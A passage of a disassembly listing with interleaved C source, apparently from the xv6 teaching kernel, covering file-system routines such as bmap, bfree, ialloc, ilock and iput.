801012c8: 83 ec 1c sub $0x1c,%esp
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
801012cb: 83 fa 0b cmp $0xb,%edx
801012ce: 77 18 ja 801012e8 <bmap+0x28>
801012d0: 8d 34 90 lea (%eax,%edx,4),%esi
if((addr = ip->addrs[bn]) == 0)
801012d3: 8b 46 5c mov 0x5c(%esi),%eax
801012d6: 85 c0 test %eax,%eax
801012d8: 74 66 je 80101340 <bmap+0x80>
brelse(bp);
return addr;
}
panic("bmap: out of range");
}
801012da: 83 c4 1c add $0x1c,%esp
801012dd: 5b pop %ebx
801012de: 5e pop %esi
801012df: 5f pop %edi
801012e0: 5d pop %ebp
801012e1: c3 ret
801012e2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
bn -= NDIRECT;
801012e8: 8d 72 f4 lea -0xc(%edx),%esi
if(bn < NINDIRECT){
801012eb: 83 fe 7f cmp $0x7f,%esi
801012ee: 77 77 ja 80101367 <bmap+0xa7>
if((addr = ip->addrs[NDIRECT]) == 0)
801012f0: 8b 80 8c 00 00 00 mov 0x8c(%eax),%eax
801012f6: 85 c0 test %eax,%eax
801012f8: 74 5e je 80101358 <bmap+0x98>
bp = bread(ip->dev, addr);
801012fa: 89 44 24 04 mov %eax,0x4(%esp)
801012fe: 8b 03 mov (%ebx),%eax
80101300: 89 04 24 mov %eax,(%esp)
80101303: e8 c8 ed ff ff call 801000d0 <bread>
if((addr = a[bn]) == 0){
80101308: 8d 54 b0 5c lea 0x5c(%eax,%esi,4),%edx
bp = bread(ip->dev, addr);
8010130c: 89 c7 mov %eax,%edi
if((addr = a[bn]) == 0){
8010130e: 8b 32 mov (%edx),%esi
80101310: 85 f6 test %esi,%esi
80101312: 75 19 jne 8010132d <bmap+0x6d>
a[bn] = addr = balloc(ip->dev);
80101314: 8b 03 mov (%ebx),%eax
80101316: 89 55 e4 mov %edx,-0x1c(%ebp)
80101319: e8 c2 fd ff ff call 801010e0 <balloc>
8010131e: 8b 55 e4 mov -0x1c(%ebp),%edx
80101321: 89 02 mov %eax,(%edx)
80101323: 89 c6 mov %eax,%esi
log_write(bp);
80101325: 89 3c 24 mov %edi,(%esp)
80101328: e8 73 19 00 00 call 80102ca0 <log_write>
brelse(bp);
8010132d: 89 3c 24 mov %edi,(%esp)
80101330: e8 ab ee ff ff call 801001e0 <brelse>
}
80101335: 83 c4 1c add $0x1c,%esp
brelse(bp);
80101338: 89 f0 mov %esi,%eax
}
8010133a: 5b pop %ebx
8010133b: 5e pop %esi
8010133c: 5f pop %edi
8010133d: 5d pop %ebp
8010133e: c3 ret
8010133f: 90 nop
ip->addrs[bn] = addr = balloc(ip->dev);
80101340: 8b 03 mov (%ebx),%eax
80101342: e8 99 fd ff ff call 801010e0 <balloc>
80101347: 89 46 5c mov %eax,0x5c(%esi)
}
8010134a: 83 c4 1c add $0x1c,%esp
8010134d: 5b pop %ebx
8010134e: 5e pop %esi
8010134f: 5f pop %edi
80101350: 5d pop %ebp
80101351: c3 ret
80101352: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
ip->addrs[NDIRECT] = addr = balloc(ip->dev);
80101358: 8b 03 mov (%ebx),%eax
8010135a: e8 81 fd ff ff call 801010e0 <balloc>
8010135f: 89 83 8c 00 00 00 mov %eax,0x8c(%ebx)
80101365: eb 93 jmp 801012fa <bmap+0x3a>
panic("bmap: out of range");
80101367: c7 04 24 25 6f 10 80 movl $0x80106f25,(%esp)
8010136e: e8 ed ef ff ff call 80100360 <panic>
80101373: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80101379: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101380 <readsb>:
{
80101380: 55 push %ebp
80101381: 89 e5 mov %esp,%ebp
80101383: 56 push %esi
80101384: 53 push %ebx
80101385: 83 ec 10 sub $0x10,%esp
bp = bread(dev, 1);
80101388: 8b 45 08 mov 0x8(%ebp),%eax
8010138b: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
80101392: 00
{
80101393: 8b 75 0c mov 0xc(%ebp),%esi
bp = bread(dev, 1);
80101396: 89 04 24 mov %eax,(%esp)
80101399: e8 32 ed ff ff call 801000d0 <bread>
memmove(sb, bp->data, sizeof(*sb));
8010139e: 89 34 24 mov %esi,(%esp)
801013a1: c7 44 24 08 1c 00 00 movl $0x1c,0x8(%esp)
801013a8: 00
bp = bread(dev, 1);
801013a9: 89 c3 mov %eax,%ebx
memmove(sb, bp->data, sizeof(*sb));
801013ab: 8d 40 5c lea 0x5c(%eax),%eax
801013ae: 89 44 24 04 mov %eax,0x4(%esp)
801013b2: e8 59 2f 00 00 call 80104310 <memmove>
brelse(bp);
801013b7: 89 5d 08 mov %ebx,0x8(%ebp)
}
801013ba: 83 c4 10 add $0x10,%esp
801013bd: 5b pop %ebx
801013be: 5e pop %esi
801013bf: 5d pop %ebp
brelse(bp);
801013c0: e9 1b ee ff ff jmp 801001e0 <brelse>
801013c5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801013c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801013d0 <bfree>:
{
801013d0: 55 push %ebp
801013d1: 89 e5 mov %esp,%ebp
801013d3: 57 push %edi
801013d4: 89 d7 mov %edx,%edi
801013d6: 56 push %esi
801013d7: 53 push %ebx
801013d8: 89 c3 mov %eax,%ebx
801013da: 83 ec 1c sub $0x1c,%esp
readsb(dev, &sb);
801013dd: 89 04 24 mov %eax,(%esp)
801013e0: c7 44 24 04 c0 09 11 movl $0x801109c0,0x4(%esp)
801013e7: 80
801013e8: e8 93 ff ff ff call 80101380 <readsb>
bp = bread(dev, BBLOCK(b, sb));
801013ed: 89 fa mov %edi,%edx
801013ef: c1 ea 0c shr $0xc,%edx
801013f2: 03 15 d8 09 11 80 add 0x801109d8,%edx
801013f8: 89 1c 24 mov %ebx,(%esp)
m = 1 << (bi % 8);
801013fb: bb 01 00 00 00 mov $0x1,%ebx
bp = bread(dev, BBLOCK(b, sb));
80101400: 89 54 24 04 mov %edx,0x4(%esp)
80101404: e8 c7 ec ff ff call 801000d0 <bread>
m = 1 << (bi % 8);
80101409: 89 f9 mov %edi,%ecx
bi = b % BPB;
8010140b: 81 e7 ff 0f 00 00 and $0xfff,%edi
80101411: 89 fa mov %edi,%edx
m = 1 << (bi % 8);
80101413: 83 e1 07 and $0x7,%ecx
if((bp->data[bi/8] & m) == 0)
80101416: c1 fa 03 sar $0x3,%edx
m = 1 << (bi % 8);
80101419: d3 e3 shl %cl,%ebx
bp = bread(dev, BBLOCK(b, sb));
8010141b: 89 c6 mov %eax,%esi
if((bp->data[bi/8] & m) == 0)
8010141d: 0f b6 44 10 5c movzbl 0x5c(%eax,%edx,1),%eax
80101422: 0f b6 c8 movzbl %al,%ecx
80101425: 85 d9 test %ebx,%ecx
80101427: 74 20 je 80101449 <bfree+0x79>
bp->data[bi/8] &= ~m;
80101429: f7 d3 not %ebx
8010142b: 21 c3 and %eax,%ebx
8010142d: 88 5c 16 5c mov %bl,0x5c(%esi,%edx,1)
log_write(bp);
80101431: 89 34 24 mov %esi,(%esp)
80101434: e8 67 18 00 00 call 80102ca0 <log_write>
brelse(bp);
80101439: 89 34 24 mov %esi,(%esp)
8010143c: e8 9f ed ff ff call 801001e0 <brelse>
}
80101441: 83 c4 1c add $0x1c,%esp
80101444: 5b pop %ebx
80101445: 5e pop %esi
80101446: 5f pop %edi
80101447: 5d pop %ebp
80101448: c3 ret
panic("freeing free block");
80101449: c7 04 24 38 6f 10 80 movl $0x80106f38,(%esp)
80101450: e8 0b ef ff ff call 80100360 <panic>
80101455: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101459: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101460 <iinit>:
{
80101460: 55 push %ebp
80101461: 89 e5 mov %esp,%ebp
80101463: 53 push %ebx
80101464: bb 20 0a 11 80 mov $0x80110a20,%ebx
80101469: 83 ec 24 sub $0x24,%esp
initlock(&icache.lock, "icache");
8010146c: c7 44 24 04 4b 6f 10 movl $0x80106f4b,0x4(%esp)
80101473: 80
80101474: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
8010147b: e8 c0 2b 00 00 call 80104040 <initlock>
initsleeplock(&icache.inode[i].lock, "inode");
80101480: 89 1c 24 mov %ebx,(%esp)
80101483: 81 c3 90 00 00 00 add $0x90,%ebx
80101489: c7 44 24 04 52 6f 10 movl $0x80106f52,0x4(%esp)
80101490: 80
80101491: e8 9a 2a 00 00 call 80103f30 <initsleeplock>
for(i = 0; i < NINODE; i++) {
80101496: 81 fb 40 26 11 80 cmp $0x80112640,%ebx
8010149c: 75 e2 jne 80101480 <iinit+0x20>
readsb(dev, &sb);
8010149e: 8b 45 08 mov 0x8(%ebp),%eax
801014a1: c7 44 24 04 c0 09 11 movl $0x801109c0,0x4(%esp)
801014a8: 80
801014a9: 89 04 24 mov %eax,(%esp)
801014ac: e8 cf fe ff ff call 80101380 <readsb>
cprintf("sb: size %d nblocks %d ninodes %d nlog %d logstart %d\
801014b1: a1 d8 09 11 80 mov 0x801109d8,%eax
801014b6: c7 04 24 b8 6f 10 80 movl $0x80106fb8,(%esp)
801014bd: 89 44 24 1c mov %eax,0x1c(%esp)
801014c1: a1 d4 09 11 80 mov 0x801109d4,%eax
801014c6: 89 44 24 18 mov %eax,0x18(%esp)
801014ca: a1 d0 09 11 80 mov 0x801109d0,%eax
801014cf: 89 44 24 14 mov %eax,0x14(%esp)
801014d3: a1 cc 09 11 80 mov 0x801109cc,%eax
801014d8: 89 44 24 10 mov %eax,0x10(%esp)
801014dc: a1 c8 09 11 80 mov 0x801109c8,%eax
801014e1: 89 44 24 0c mov %eax,0xc(%esp)
801014e5: a1 c4 09 11 80 mov 0x801109c4,%eax
801014ea: 89 44 24 08 mov %eax,0x8(%esp)
801014ee: a1 c0 09 11 80 mov 0x801109c0,%eax
801014f3: 89 44 24 04 mov %eax,0x4(%esp)
801014f7: e8 54 f1 ff ff call 80100650 <cprintf>
}
801014fc: 83 c4 24 add $0x24,%esp
801014ff: 5b pop %ebx
80101500: 5d pop %ebp
80101501: c3 ret
80101502: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101509: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101510 <ialloc>:
{
80101510: 55 push %ebp
80101511: 89 e5 mov %esp,%ebp
80101513: 57 push %edi
80101514: 56 push %esi
80101515: 53 push %ebx
80101516: 83 ec 2c sub $0x2c,%esp
80101519: 8b 45 0c mov 0xc(%ebp),%eax
for(inum = 1; inum < sb.ninodes; inum++){
8010151c: 83 3d c8 09 11 80 01 cmpl $0x1,0x801109c8
{
80101523: 8b 7d 08 mov 0x8(%ebp),%edi
80101526: 89 45 e4 mov %eax,-0x1c(%ebp)
for(inum = 1; inum < sb.ninodes; inum++){
80101529: 0f 86 a2 00 00 00 jbe 801015d1 <ialloc+0xc1>
8010152f: be 01 00 00 00 mov $0x1,%esi
80101534: bb 01 00 00 00 mov $0x1,%ebx
80101539: eb 1a jmp 80101555 <ialloc+0x45>
8010153b: 90 nop
8010153c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
brelse(bp);
80101540: 89 14 24 mov %edx,(%esp)
for(inum = 1; inum < sb.ninodes; inum++){
80101543: 83 c3 01 add $0x1,%ebx
brelse(bp);
80101546: e8 95 ec ff ff call 801001e0 <brelse>
for(inum = 1; inum < sb.ninodes; inum++){
8010154b: 89 de mov %ebx,%esi
8010154d: 3b 1d c8 09 11 80 cmp 0x801109c8,%ebx
80101553: 73 7c jae 801015d1 <ialloc+0xc1>
bp = bread(dev, IBLOCK(inum, sb));
80101555: 89 f0 mov %esi,%eax
80101557: c1 e8 03 shr $0x3,%eax
8010155a: 03 05 d4 09 11 80 add 0x801109d4,%eax
80101560: 89 3c 24 mov %edi,(%esp)
80101563: 89 44 24 04 mov %eax,0x4(%esp)
80101567: e8 64 eb ff ff call 801000d0 <bread>
8010156c: 89 c2 mov %eax,%edx
dip = (struct dinode*)bp->data + inum%IPB;
8010156e: 89 f0 mov %esi,%eax
80101570: 83 e0 07 and $0x7,%eax
80101573: c1 e0 06 shl $0x6,%eax
80101576: 8d 4c 02 5c lea 0x5c(%edx,%eax,1),%ecx
if(dip->type == 0){ // a free inode
8010157a: 66 83 39 00 cmpw $0x0,(%ecx)
8010157e: 75 c0 jne 80101540 <ialloc+0x30>
memset(dip, 0, sizeof(*dip));
80101580: 89 0c 24 mov %ecx,(%esp)
80101583: c7 44 24 08 40 00 00 movl $0x40,0x8(%esp)
8010158a: 00
8010158b: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80101592: 00
80101593: 89 55 dc mov %edx,-0x24(%ebp)
80101596: 89 4d e0 mov %ecx,-0x20(%ebp)
80101599: e8 d2 2c 00 00 call 80104270 <memset>
dip->type = type;
8010159e: 0f b7 45 e4 movzwl -0x1c(%ebp),%eax
log_write(bp); // mark it allocated on the disk
801015a2: 8b 55 dc mov -0x24(%ebp),%edx
dip->type = type;
801015a5: 8b 4d e0 mov -0x20(%ebp),%ecx
log_write(bp); // mark it allocated on the disk
801015a8: 89 55 e4 mov %edx,-0x1c(%ebp)
dip->type = type;
801015ab: 66 89 01 mov %ax,(%ecx)
log_write(bp); // mark it allocated on the disk
801015ae: 89 14 24 mov %edx,(%esp)
801015b1: e8 ea 16 00 00 call 80102ca0 <log_write>
brelse(bp);
801015b6: 8b 55 e4 mov -0x1c(%ebp),%edx
801015b9: 89 14 24 mov %edx,(%esp)
801015bc: e8 1f ec ff ff call 801001e0 <brelse>
}
801015c1: 83 c4 2c add $0x2c,%esp
return iget(dev, inum);
801015c4: 89 f2 mov %esi,%edx
}
801015c6: 5b pop %ebx
return iget(dev, inum);
801015c7: 89 f8 mov %edi,%eax
}
801015c9: 5e pop %esi
801015ca: 5f pop %edi
801015cb: 5d pop %ebp
return iget(dev, inum);
801015cc: e9 2f fc ff ff jmp 80101200 <iget>
panic("ialloc: no inodes");
801015d1: c7 04 24 58 6f 10 80 movl $0x80106f58,(%esp)
801015d8: e8 83 ed ff ff call 80100360 <panic>
801015dd: 8d 76 00 lea 0x0(%esi),%esi
801015e0 <iupdate>:
{
801015e0: 55 push %ebp
801015e1: 89 e5 mov %esp,%ebp
801015e3: 56 push %esi
801015e4: 53 push %ebx
801015e5: 83 ec 10 sub $0x10,%esp
801015e8: 8b 5d 08 mov 0x8(%ebp),%ebx
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801015eb: 8b 43 04 mov 0x4(%ebx),%eax
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
801015ee: 83 c3 5c add $0x5c,%ebx
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801015f1: c1 e8 03 shr $0x3,%eax
801015f4: 03 05 d4 09 11 80 add 0x801109d4,%eax
801015fa: 89 44 24 04 mov %eax,0x4(%esp)
801015fe: 8b 43 a4 mov -0x5c(%ebx),%eax
80101601: 89 04 24 mov %eax,(%esp)
80101604: e8 c7 ea ff ff call 801000d0 <bread>
dip = (struct dinode*)bp->data + ip->inum%IPB;
80101609: 8b 53 a8 mov -0x58(%ebx),%edx
8010160c: 83 e2 07 and $0x7,%edx
8010160f: c1 e2 06 shl $0x6,%edx
80101612: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
80101616: 89 c6 mov %eax,%esi
dip->type = ip->type;
80101618: 0f b7 43 f4 movzwl -0xc(%ebx),%eax
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
8010161c: 83 c2 0c add $0xc,%edx
dip->type = ip->type;
8010161f: 66 89 42 f4 mov %ax,-0xc(%edx)
dip->major = ip->major;
80101623: 0f b7 43 f6 movzwl -0xa(%ebx),%eax
80101627: 66 89 42 f6 mov %ax,-0xa(%edx)
dip->minor = ip->minor;
8010162b: 0f b7 43 f8 movzwl -0x8(%ebx),%eax
8010162f: 66 89 42 f8 mov %ax,-0x8(%edx)
dip->nlink = ip->nlink;
80101633: 0f b7 43 fa movzwl -0x6(%ebx),%eax
80101637: 66 89 42 fa mov %ax,-0x6(%edx)
dip->size = ip->size;
8010163b: 8b 43 fc mov -0x4(%ebx),%eax
8010163e: 89 42 fc mov %eax,-0x4(%edx)
memmove(dip->addrs, ip->addrs, sizeof(ip->addrs));
80101641: 89 5c 24 04 mov %ebx,0x4(%esp)
80101645: 89 14 24 mov %edx,(%esp)
80101648: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
8010164f: 00
80101650: e8 bb 2c 00 00 call 80104310 <memmove>
log_write(bp);
80101655: 89 34 24 mov %esi,(%esp)
80101658: e8 43 16 00 00 call 80102ca0 <log_write>
brelse(bp);
8010165d: 89 75 08 mov %esi,0x8(%ebp)
}
80101660: 83 c4 10 add $0x10,%esp
80101663: 5b pop %ebx
80101664: 5e pop %esi
80101665: 5d pop %ebp
brelse(bp);
80101666: e9 75 eb ff ff jmp 801001e0 <brelse>
8010166b: 90 nop
8010166c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101670 <idup>:
{
80101670: 55 push %ebp
80101671: 89 e5 mov %esp,%ebp
80101673: 53 push %ebx
80101674: 83 ec 14 sub $0x14,%esp
80101677: 8b 5d 08 mov 0x8(%ebp),%ebx
acquire(&icache.lock);
8010167a: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101681: e8 aa 2a 00 00 call 80104130 <acquire>
ip->ref++;
80101686: 83 43 08 01 addl $0x1,0x8(%ebx)
release(&icache.lock);
8010168a: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101691: e8 8a 2b 00 00 call 80104220 <release>
}
80101696: 83 c4 14 add $0x14,%esp
80101699: 89 d8 mov %ebx,%eax
8010169b: 5b pop %ebx
8010169c: 5d pop %ebp
8010169d: c3 ret
8010169e: 66 90 xchg %ax,%ax
801016a0 <ilock>:
{
801016a0: 55 push %ebp
801016a1: 89 e5 mov %esp,%ebp
801016a3: 56 push %esi
801016a4: 53 push %ebx
801016a5: 83 ec 10 sub $0x10,%esp
801016a8: 8b 5d 08 mov 0x8(%ebp),%ebx
if(ip == 0 || ip->ref < 1)
801016ab: 85 db test %ebx,%ebx
801016ad: 0f 84 b3 00 00 00 je 80101766 <ilock+0xc6>
801016b3: 8b 53 08 mov 0x8(%ebx),%edx
801016b6: 85 d2 test %edx,%edx
801016b8: 0f 8e a8 00 00 00 jle 80101766 <ilock+0xc6>
acquiresleep(&ip->lock);
801016be: 8d 43 0c lea 0xc(%ebx),%eax
801016c1: 89 04 24 mov %eax,(%esp)
801016c4: e8 a7 28 00 00 call 80103f70 <acquiresleep>
if(ip->valid == 0){
801016c9: 8b 43 4c mov 0x4c(%ebx),%eax
801016cc: 85 c0 test %eax,%eax
801016ce: 74 08 je 801016d8 <ilock+0x38>
}
801016d0: 83 c4 10 add $0x10,%esp
801016d3: 5b pop %ebx
801016d4: 5e pop %esi
801016d5: 5d pop %ebp
801016d6: c3 ret
801016d7: 90 nop
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801016d8: 8b 43 04 mov 0x4(%ebx),%eax
801016db: c1 e8 03 shr $0x3,%eax
801016de: 03 05 d4 09 11 80 add 0x801109d4,%eax
801016e4: 89 44 24 04 mov %eax,0x4(%esp)
801016e8: 8b 03 mov (%ebx),%eax
801016ea: 89 04 24 mov %eax,(%esp)
801016ed: e8 de e9 ff ff call 801000d0 <bread>
dip = (struct dinode*)bp->data + ip->inum%IPB;
801016f2: 8b 53 04 mov 0x4(%ebx),%edx
801016f5: 83 e2 07 and $0x7,%edx
801016f8: c1 e2 06 shl $0x6,%edx
801016fb: 8d 54 10 5c lea 0x5c(%eax,%edx,1),%edx
bp = bread(ip->dev, IBLOCK(ip->inum, sb));
801016ff: 89 c6 mov %eax,%esi
ip->type = dip->type;
80101701: 0f b7 02 movzwl (%edx),%eax
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
80101704: 83 c2 0c add $0xc,%edx
ip->type = dip->type;
80101707: 66 89 43 50 mov %ax,0x50(%ebx)
ip->major = dip->major;
8010170b: 0f b7 42 f6 movzwl -0xa(%edx),%eax
8010170f: 66 89 43 52 mov %ax,0x52(%ebx)
ip->minor = dip->minor;
80101713: 0f b7 42 f8 movzwl -0x8(%edx),%eax
80101717: 66 89 43 54 mov %ax,0x54(%ebx)
ip->nlink = dip->nlink;
8010171b: 0f b7 42 fa movzwl -0x6(%edx),%eax
8010171f: 66 89 43 56 mov %ax,0x56(%ebx)
ip->size = dip->size;
80101723: 8b 42 fc mov -0x4(%edx),%eax
80101726: 89 43 58 mov %eax,0x58(%ebx)
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
80101729: 8d 43 5c lea 0x5c(%ebx),%eax
8010172c: 89 54 24 04 mov %edx,0x4(%esp)
80101730: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
80101737: 00
80101738: 89 04 24 mov %eax,(%esp)
8010173b: e8 d0 2b 00 00 call 80104310 <memmove>
brelse(bp);
80101740: 89 34 24 mov %esi,(%esp)
80101743: e8 98 ea ff ff call 801001e0 <brelse>
if(ip->type == 0)
80101748: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx)
ip->valid = 1;
8010174d: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx)
if(ip->type == 0)
80101754: 0f 85 76 ff ff ff jne 801016d0 <ilock+0x30>
panic("ilock: no type");
8010175a: c7 04 24 70 6f 10 80 movl $0x80106f70,(%esp)
80101761: e8 fa eb ff ff call 80100360 <panic>
panic("ilock");
80101766: c7 04 24 6a 6f 10 80 movl $0x80106f6a,(%esp)
8010176d: e8 ee eb ff ff call 80100360 <panic>
80101772: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101779: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101780 <iunlock>:
{
80101780: 55 push %ebp
80101781: 89 e5 mov %esp,%ebp
80101783: 56 push %esi
80101784: 53 push %ebx
80101785: 83 ec 10 sub $0x10,%esp
80101788: 8b 5d 08 mov 0x8(%ebp),%ebx
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
8010178b: 85 db test %ebx,%ebx
8010178d: 74 24 je 801017b3 <iunlock+0x33>
8010178f: 8d 73 0c lea 0xc(%ebx),%esi
80101792: 89 34 24 mov %esi,(%esp)
80101795: e8 76 28 00 00 call 80104010 <holdingsleep>
8010179a: 85 c0 test %eax,%eax
8010179c: 74 15 je 801017b3 <iunlock+0x33>
8010179e: 8b 43 08 mov 0x8(%ebx),%eax
801017a1: 85 c0 test %eax,%eax
801017a3: 7e 0e jle 801017b3 <iunlock+0x33>
releasesleep(&ip->lock);
801017a5: 89 75 08 mov %esi,0x8(%ebp)
}
801017a8: 83 c4 10 add $0x10,%esp
801017ab: 5b pop %ebx
801017ac: 5e pop %esi
801017ad: 5d pop %ebp
releasesleep(&ip->lock);
801017ae: e9 1d 28 00 00 jmp 80103fd0 <releasesleep>
panic("iunlock");
801017b3: c7 04 24 7f 6f 10 80 movl $0x80106f7f,(%esp)
801017ba: e8 a1 eb ff ff call 80100360 <panic>
801017bf: 90 nop
801017c0 <iput>:
{
801017c0: 55 push %ebp
801017c1: 89 e5 mov %esp,%ebp
801017c3: 57 push %edi
801017c4: 56 push %esi
801017c5: 53 push %ebx
801017c6: 83 ec 1c sub $0x1c,%esp
801017c9: 8b 75 08 mov 0x8(%ebp),%esi
acquiresleep(&ip->lock);
801017cc: 8d 7e 0c lea 0xc(%esi),%edi
801017cf: 89 3c 24 mov %edi,(%esp)
801017d2: e8 99 27 00 00 call 80103f70 <acquiresleep>
if(ip->valid && ip->nlink == 0){
801017d7: 8b 56 4c mov 0x4c(%esi),%edx
801017da: 85 d2 test %edx,%edx
801017dc: 74 07 je 801017e5 <iput+0x25>
801017de: 66 83 7e 56 00 cmpw $0x0,0x56(%esi)
801017e3: 74 2b je 80101810 <iput+0x50>
releasesleep(&ip->lock);
801017e5: 89 3c 24 mov %edi,(%esp)
801017e8: e8 e3 27 00 00 call 80103fd0 <releasesleep>
acquire(&icache.lock);
801017ed: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
801017f4: e8 37 29 00 00 call 80104130 <acquire>
ip->ref--;
801017f9: 83 6e 08 01 subl $0x1,0x8(%esi)
release(&icache.lock);
801017fd: c7 45 08 e0 09 11 80 movl $0x801109e0,0x8(%ebp)
}
80101804: 83 c4 1c add $0x1c,%esp
80101807: 5b pop %ebx
80101808: 5e pop %esi
80101809: 5f pop %edi
8010180a: 5d pop %ebp
release(&icache.lock);
8010180b: e9 10 2a 00 00 jmp 80104220 <release>
acquire(&icache.lock);
80101810: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101817: e8 14 29 00 00 call 80104130 <acquire>
int r = ip->ref;
8010181c: 8b 5e 08 mov 0x8(%esi),%ebx
release(&icache.lock);
8010181f: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101826: e8 f5 29 00 00 call 80104220 <release>
if(r == 1){
8010182b: 83 fb 01 cmp $0x1,%ebx
8010182e: 75 b5 jne 801017e5 <iput+0x25>
80101830: 8d 4e 30 lea 0x30(%esi),%ecx
80101833: 89 f3 mov %esi,%ebx
80101835: 89 7d e4 mov %edi,-0x1c(%ebp)
80101838: 89 cf mov %ecx,%edi
8010183a: eb 0b jmp 80101847 <iput+0x87>
8010183c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101840: 83 c3 04 add $0x4,%ebx
{
int i, j;
struct buf *bp;
uint *a;
for(i = 0; i < NDIRECT; i++){
80101843: 39 fb cmp %edi,%ebx
80101845: 74 19 je 80101860 <iput+0xa0>
if(ip->addrs[i]){
80101847: 8b 53 5c mov 0x5c(%ebx),%edx
8010184a: 85 d2 test %edx,%edx
8010184c: 74 f2 je 80101840 <iput+0x80>
bfree(ip->dev, ip->addrs[i]);
8010184e: 8b 06 mov (%esi),%eax
80101850: e8 7b fb ff ff call 801013d0 <bfree>
ip->addrs[i] = 0;
80101855: c7 43 5c 00 00 00 00 movl $0x0,0x5c(%ebx)
8010185c: eb e2 jmp 80101840 <iput+0x80>
8010185e: 66 90 xchg %ax,%ax
}
}
if(ip->addrs[NDIRECT]){
80101860: 8b 86 8c 00 00 00 mov 0x8c(%esi),%eax
80101866: 8b 7d e4 mov -0x1c(%ebp),%edi
80101869: 85 c0 test %eax,%eax
8010186b: 75 2b jne 80101898 <iput+0xd8>
brelse(bp);
bfree(ip->dev, ip->addrs[NDIRECT]);
ip->addrs[NDIRECT] = 0;
}
ip->size = 0;
8010186d: c7 46 58 00 00 00 00 movl $0x0,0x58(%esi)
iupdate(ip);
80101874: 89 34 24 mov %esi,(%esp)
80101877: e8 64 fd ff ff call 801015e0 <iupdate>
ip->type = 0;
8010187c: 31 c0 xor %eax,%eax
8010187e: 66 89 46 50 mov %ax,0x50(%esi)
iupdate(ip);
80101882: 89 34 24 mov %esi,(%esp)
80101885: e8 56 fd ff ff call 801015e0 <iupdate>
ip->valid = 0;
8010188a: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi)
80101891: e9 4f ff ff ff jmp 801017e5 <iput+0x25>
80101896: 66 90 xchg %ax,%ax
bp = bread(ip->dev, ip->addrs[NDIRECT]);
80101898: 89 44 24 04 mov %eax,0x4(%esp)
8010189c: 8b 06 mov (%esi),%eax
for(j = 0; j < NINDIRECT; j++){
8010189e: 31 db xor %ebx,%ebx
bp = bread(ip->dev, ip->addrs[NDIRECT]);
801018a0: 89 04 24 mov %eax,(%esp)
801018a3: e8 28 e8 ff ff call 801000d0 <bread>
for(j = 0; j < NINDIRECT; j++){
801018a8: 89 7d e0 mov %edi,-0x20(%ebp)
a = (uint*)bp->data;
801018ab: 8d 48 5c lea 0x5c(%eax),%ecx
bp = bread(ip->dev, ip->addrs[NDIRECT]);
801018ae: 89 45 e4 mov %eax,-0x1c(%ebp)
for(j = 0; j < NINDIRECT; j++){
801018b1: 89 cf mov %ecx,%edi
801018b3: 31 c0 xor %eax,%eax
801018b5: eb 0e jmp 801018c5 <iput+0x105>
801018b7: 90 nop
801018b8: 83 c3 01 add $0x1,%ebx
801018bb: 81 fb 80 00 00 00 cmp $0x80,%ebx
801018c1: 89 d8 mov %ebx,%eax
801018c3: 74 10 je 801018d5 <iput+0x115>
if(a[j])
801018c5: 8b 14 87 mov (%edi,%eax,4),%edx
801018c8: 85 d2 test %edx,%edx
801018ca: 74 ec je 801018b8 <iput+0xf8>
bfree(ip->dev, a[j]);
801018cc: 8b 06 mov (%esi),%eax
801018ce: e8 fd fa ff ff call 801013d0 <bfree>
801018d3: eb e3 jmp 801018b8 <iput+0xf8>
brelse(bp);
801018d5: 8b 45 e4 mov -0x1c(%ebp),%eax
801018d8: 8b 7d e0 mov -0x20(%ebp),%edi
801018db: 89 04 24 mov %eax,(%esp)
801018de: e8 fd e8 ff ff call 801001e0 <brelse>
bfree(ip->dev, ip->addrs[NDIRECT]);
801018e3: 8b 96 8c 00 00 00 mov 0x8c(%esi),%edx
801018e9: 8b 06 mov (%esi),%eax
801018eb: e8 e0 fa ff ff call 801013d0 <bfree>
ip->addrs[NDIRECT] = 0;
801018f0: c7 86 8c 00 00 00 00 movl $0x0,0x8c(%esi)
801018f7: 00 00 00
801018fa: e9 6e ff ff ff jmp 8010186d <iput+0xad>
801018ff: 90 nop
80101900 <iunlockput>:
{
80101900: 55 push %ebp
80101901: 89 e5 mov %esp,%ebp
80101903: 53 push %ebx
80101904: 83 ec 14 sub $0x14,%esp
